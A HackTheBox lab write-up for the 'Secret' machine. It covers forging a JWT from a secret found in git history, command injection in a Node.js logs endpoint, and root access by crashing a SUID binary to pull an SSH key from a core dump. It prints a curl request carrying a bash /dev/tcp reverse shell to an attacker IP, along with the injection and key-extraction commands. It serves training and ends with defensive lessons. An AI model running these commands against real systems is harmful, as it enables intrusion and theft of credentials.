HTB: Secret Writeup
Secret - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Secret |
| OS | Linux |
| Difficulty | Easy |
| Points | 408 |
| Release Date | 21 Mar 2022 |
| IP Address | 10.10.11.120 |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Secret presents a straightforward path through source code review and JWT token forgery. The machine features a Node.js API with downloadable source code that happens to be a git repository—revealing a hardcoded JWT secret in commit history. Armed with this secret, we forge an admin token to exploit a command injection vulnerability in the /api/logs endpoint, achieving user-level access. Privilege escalation involves exploiting a SUID binary (count) that reads files as root; by leveraging core dumps enabled via prctl(PR_SET_DUMPABLE, 1), we crash the binary while it’s reading the root SSH key and extract credentials from the core dump. This machine emphasizes source code analysis and creative exploitation of debug features.
TL;DR: Git history → JWT secret → Forged token → Command injection RCE → SUID binary → Core dump analysis → Root SSH key.
Reconnaissance
Port Scanning
nmap -p- --min-rate=1000 -T4 10.10.11.120nmap -p22,80,3000 -sC -sV 10.10.11.120Results:
| Port | Service | Version |
|---|---|---|
| 22 | SSH | OpenSSH |
| 80 | HTTP | Nginx |
| 3000 | HTTP | Node.js |
Service Enumeration
Port 80 (Nginx): Displays an index page advertising an API-based authentication system. A “Live Demo” button references /api (404 error). Critically, the page offers a source code download at the bottom.
Port 3000 (Node.js): Likely hosts the actual API application.
Port 22 (SSH): Standard SSH service, target for later access.
Vulnerability Assessment
After extracting the downloaded source code archive:
-
Git repository detected: The
.gitdirectory is present in the source tree, allowing access to commit history. -
Hardcoded JWT secret in git history: Examining commit
67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78reveals thatTOKEN_SECRETwas changed to"secret"for “security reasons”—the actual secret was committed previously in plaintext. -
Command injection in
/logsendpoint: The newer/logsendpoint passes thefileparameter unsanitized togit log, allowing shell command injection:// routes/api.js (vulnerable code)router.get('/logs', verifytoken, (req, res) => {const file = req.query.file;const sh = require('child_process').exec(`git log --oneline ${file}`);// file is not sanitized!}); -
JWT authentication requirement: The
/logsendpoint requires a valid JWT token withname: "theadmin"to bypass theverifytokenmiddleware.
Initial Foothold
Exploitation Path
Step 1: Extract the JWT Secret
Navigate to the downloaded source code directory and examine git history:
cd /path/to/extracted/sourcegit log --onelineIdentify the suspicious commit related to security changes:
git show 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78Output reveals:
TOKEN_SECRET="secret" # Previously hardcoded in plaintextStep 2: Forge a Malicious JWT Token
Using jwt.io, create a token with the following payload:
{ "_id": "any_id", "name": "theadmin", "email": "admin@secret.htb"}Set the signing algorithm to HS256 and paste "secret" (the extracted secret) in the secret field.
This generates a valid, forged token that will pass server-side verification.
Step 3: Test the Command Injection
Using BurpSuite or curl, inject the token into the auth-token header and test the /api/logs endpoint:
curl -H "auth-token: <FORGED_JWT_TOKEN>" \ "http://10.10.11.120/api/logs?file=;id"The id command output appears in the response, confirming command injection.
Step 4: Establish Reverse Shell
Set up a netcat listener on your attack machine:
nc -lvnp 9001Craft a reverse shell payload using URL encoding for spaces and special characters:
curl -H "auth-token: <FORGED_JWT_TOKEN>" \ "http://10.10.11.120/api/logs?file=;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.2/9001+0>%261'"Result: Reverse shell received as user dasith.
Privilege Escalation
Step 1: Obtain Interactive TTY
From the reverse shell, upgrade to a fully interactive shell:
# From reverse shellscript /dev/null -c bash
# On attacker machine (press Ctrl+Z)stty raw -echo; fg
# Press Enter twice to finalizeStep 2: Enumerate SUID Binaries
Search for unusual SUID binaries across the filesystem:
find / -perm -u=s -type f 2>/dev/nullIdentify the non-standard binary /opt/count.
Step 3: Analyze SUID Binary Source
Examine the source code at /opt/count.c:
#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <string.h>#include <dirent.h>#include <sys/prctl.h>#include <sys/types.h>#include <sys/stat.h>#include <linux/limits.h>
void dircount(const char *path, char *summary) { // Counts files/dirs in a directory // Outputs summary to buffer}
void filecount(const char *path, char *summary) { FILE *file; char ch; int characters, words, lines;
file = fopen(path, "r"); // Opens ANY file (including /root/.ssh/id_rsa)
// Reads file contents into variables and summary buffer}
int main() { char path[100]; int res; struct stat path_s; char summary[4096];
printf("Enter source file/directory name: "); scanf("%99s", path); getchar(); stat(path, &path_s);
if(S_ISDIR(path_s.st_mode)) dircount(path, summary); else filecount(path, summary); // Runs as root, reads /root/.ssh/id_rsa into summary
setuid(getuid()); // Drops privileges (too late—file already read) prctl(PR_SET_DUMPABLE, 1); // ENABLES CORE DUMPS
printf("Save results a file? [y/N]: "); res = getchar(); if (res == 121 || res == 89) { printf("Path: "); scanf("%99s", path); FILE *fp = fopen(path, "a"); if (fp != NULL) { fputs(summary, fp); fclose(fp); } }
return 0;}Key vulnerability: The binary reads files as root, stores contents in a stack buffer, enables core dumps via prctl(), and then awaits user input—a perfect opportunity to crash the process and recover file contents from the core dump.
Step 4: Exploit Core Dump Generation
Execute the binary and trigger a controlled crash while it holds the root SSH key in memory:
# Terminal 1: Run the binary/opt/count
# When prompted, enter:/root/.ssh/id_rsa
# Press Ctrl+Z to background the process# (The SSH key is now in the summary buffer)
# Terminal 2: Send SIGSEGV to the backgrounded processkill -SIGSEGV $(pgrep -f "^/opt/count$")
# Terminal 1: Bring process to foregroundfg
# The application crashes and generates a core dumpCore dump is created at /var/crash/_opt_count.1000.crash (or similar).
Step 5: Extract SSH Key from Core Dump
Unpack and analyze the core dump file:
apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash_unpackedstrings /tmp/crash_unpacked/CoreDump | grep -A 30 "BEGIN RSA PRIVATE KEY"Extract the complete SSH private key from the strings output.
Step 6: SSH as Root
On your attack machine, save the extracted key:
cat > root_key << 'EOF'-----BEGIN RSA PRIVATE KEY-----[paste extracted key content]-----END RSA PRIVATE KEY-----EOF
chmod 600 root_keyssh -i root_key root@10.10.11.120Result: Root shell obtained.
Attack Chain Summary
Enumerate Port 80 (Nginx) ↓Download Source Code ↓Discover .git Repository ↓Extract TOKEN_SECRET from Git History ("secret") ↓Forge JWT Token with name: "theadmin" ↓Inject Token into auth-token Header ↓Exploit Command Injection in /api/logs?file=;COMMAND ↓Reverse Shell as User dasith ↓Enumerate SUID Binaries (/opt/count) ↓Analyze count.c Source Code ↓Identify: Reads Files as Root + Core Dumps Enabled ↓Execute /opt/count with /root/.ssh/id_rsa Path ↓Background Process (Ctrl+Z) ↓Send SIGSEGV Signal to Crash Process ↓Extract SSH Key from Core Dump (apport-unpack + strings) ↓SSH Login as Root ↓Obtain Root FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Network port scanning and service enumeration |
git | Extracting commit history and secrets |
jwt.io | JWT token creation and signing |
curl / BurpSuite | HTTP request crafting and injection |
nc (netcat) | Reverse shell listener |
find | SUID binary discovery |
apport-unpack | Core dump extraction and unpacking |
strings | Binary analysis and key extraction from core dumps |
ssh | Remote authentication with extracted credentials |
Key Learnings
Techniques Practiced
- Git repository exploitation: Extracting hardcoded secrets from commit history
- JWT token forgery: Creating valid tokens when the signing secret is known
- Command injection: Exploiting unsanitized input in shell execution contexts
- SUID binary analysis: Identifying privilege escalation paths in setuid binaries
- Core dump exploitation: Using enabled core dumps to recover sensitive data from memory
- Signal-based exploitation: Triggering controlled crashes via SIGSEGV
- Interactive shell upgrade: Converting reverse shells to full TTY shells
Lessons Learned
-
Always review git history in accessible repositories. Developers often commit secrets and then attempt to remove them—but the history remains.
-
JWT secrets must be treated as cryptographic material. A compromised secret allows arbitrary token forgery, regardless of the signature algorithm.
-
Never trust user input in system command execution. Even seemingly safe parameters can become injection vectors without explicit sanitization or parameterized APIs.
-
SUID binaries with debug features enabled are dangerous. The combination of
prctl(PR_SET_DUMPABLE, 1)and file operations on sensitive data creates a memory disclosure vulnerability. -
Core dumps are a powerful forensic tool in both offense and defense. Sensitive data (keys, tokens, passwords) persists in process memory and becomes recoverable once a core dump is created.
-
Privilege dropping must occur before sensitive operations. Calling
setuid(getuid())after reading sensitive files doesn’t prevent their contents from residing in memory. -
Stack-based buffers in high-privilege code are exploitable. The fixed-size
summary[4096]buffer incount.cbecomes a data exfiltration channel when combined with core dump analysis.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>